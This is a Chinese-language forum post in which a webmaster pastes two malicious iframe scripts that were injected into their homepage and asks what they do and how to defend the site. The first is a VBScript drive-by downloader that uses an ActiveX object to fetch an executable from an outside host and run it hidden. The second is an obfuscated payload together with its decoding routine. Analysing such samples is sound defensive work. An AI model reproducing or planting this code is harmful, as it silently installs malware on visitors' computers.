网站首页被黑客添加了两个iframe文件,文件的源码如下,请理解的大虾指点一下黑客想用这些代码达到什么效果.如果能够提供一点如何防范网站被黑的建议,感激不尽:

第一个iframe文件的源码如下:
<script language="VBScript">
on error resume next
download = "http://www.bakery.co.kr/inc/wow.exe"
Set ah = document.createElement("object")
ah.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36",ID="oRds"
str="Microsoft.XMLHTTP"
Set ning = ah.CreateObject(str,"")
b1="Ad"
b2="od."
b3="bSt"
b4="ream"
strf1=b1&b2&b3&b4
strf5=str1
set server = ah.createobject(strf5,"")
server.type = 1
strf6="GET"
ning.Open strf6, download, False
ning.Send
ahname="bl4ck.com"
set ff = ah.createobject("Scripting.FileSystemObject","")
set tmp = ff.GetSpecialFolder(2) ' Get tmp folder
ahname= ff.BuildPath(tmp,ahname)
server.open
server.write ning.responseBody
server.savetofile ahname,2
server.close
set qusi = ah.createobject("Shell.Application","")
qusi.ShellExecute ahname,"","","open",0
</script>

第二个iframe文件的源码如下:
<script language=vbscript>
hu="琳]5%4+26A.#0)7#)'^Cwct%4+26C_琳10A'4414A4'57/'A0':6琳&.A^AC*662[PP999O*10)/#70O%1/O%0P9'$PRSQP#$#5'PTP#O':'C琳t'6A&(A^A&1%7/'06O%4'#6'f.'/'06IC1$,'%6CJ琳&(O5'6b664+$76'AC%.#55+&CMAC%.5+&[ceZWdVVWNWVbTNRReQNZYTbNQQdQUgdSZfTWC琳564^Cn+%4151(6OynmiuuqC琳t'6A:A^A&(Od4'#6'p$,'%6I564MCCJ琳#R^Cb&1C琳#S^C&$OC琳#T^Ct64C琳#U^C'#/C琳564R^#RG#SG#TG#U琳564V^564R琳5'6AtA^A&(O%4'#6'1$,'%6I564VMCCJ琳tO6;2'A^AR琳564W^ChfuC琳:Op2'0A564WMA&.MAg#.5'琳:Ot'0&琳(0#/'R^C$.U%-O%1/C琳5'6AgA^A&(O%4'#6'1$,'%6ICt%4+26+0)Og+.'t;56'/p$,'%6CMCCJ琳5'6A6/2A^AgOh'6t2'%+#.g1.&'4ISJAHAh'6A6/2A(1.&'4琳(0#/'R^AgOc7+.&q#6*I6/2M(0#/'RJ琳tO12'0琳tO94+6'A:O4'52105'c1&;琳tO5#8'61(+.'A(0#/'RMS琳tO%.15'琳5'6ArA^A&(O%4'#6'1$,'%6ICt*'..Ob22.+%#6+10CMCCJ琳rOt*'..f:'%76'A(0#/'RMCCMCCMC12'0CMQ琳]P5%4+26_琳琳"
function UnEncode(temp)
but=-62
for i = 1 to len(temp)
if mid(temp,i,1)<> "琳" then
If Asc(Mid(temp, i, 1)) < 32 Or Asc(Mid(temp, i, 1)) > 126 Then
a = a & Chr(Asc(Mid(temp, i, 1)))
else
pk=asc(mid(temp,i,1))-but
if pk>126 then
pk=pk-95
elseif pk<32 then
pk=pk+95
end if
a=a&chr(pk)
end if
else
a=a&vbcrlf
end if
next
UnEncode=a
end function
document.write(UnEncode(hu))
</SCRIPT>